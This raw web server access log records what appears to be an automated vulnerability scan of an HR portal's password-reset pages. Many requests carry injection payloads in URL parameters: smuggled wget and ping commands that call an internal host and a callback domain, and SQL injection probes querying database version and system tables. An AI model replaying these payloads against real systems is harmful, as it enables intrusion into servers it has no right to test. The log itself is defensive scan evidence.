"http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3C%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D141%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3C%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D141%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:19 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B+select+%40%40version%2C1%2C1%2C1-- HTTP/1.1" 200 6702 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B+select+%40%40version%2C1%2C1%2C1-- HTTP/1.1" 200 6702 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%3B&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%3B&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%27%3B&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%60ping+-c+1+v3-ping-144-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com%60&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%60ping+-c+1+v3-ping-144-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com%60&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D145&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D145&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:21 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B+select+*+from+master..sysmessages-- HTTP/1.1" 200 6713 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B+select+*+from+master..sysmessages-- HTTP/1.1" 200 6713 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%29%28ping+-c+1+v3-ping-148-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%29%28ping+-c+1+v3-ping-148-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%253Bwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D149&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%253Bwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D149&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3E%22%27%2F%40%3D%2A%5B%5D%28%29%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3E%22%27%2F%40%3D%2A%5B%5D%28%29%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B+select+*+from+dbo.sysdatabases-- HTTP/1.1" 200 6710 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B+select+*+from+dbo.sysdatabases-- HTTP/1.1" 200 6710 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27+having+1%3D1--+&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:23 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27+having+1%3D1--+&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%27+having+1%3D1--+&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%257Cwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D151&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%257Cwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D151&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3E%22%27%2F%40%3D%2A%5B%5D%28%29%3C%2Fstrong%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:24 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:25 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:25 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS1+having+1%3D1-- HTTP/1.1" 200 6689 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:25 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS1+having+1%3D1-- HTTP/1.1" 200 6689 100.64.0.1 - - [05/Dec/2025:21:51:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:25 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:25 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%2526wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D152&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%2526wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D152&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:26 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error%22%27%2F%40%3D*%5B%5D%28%29&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - 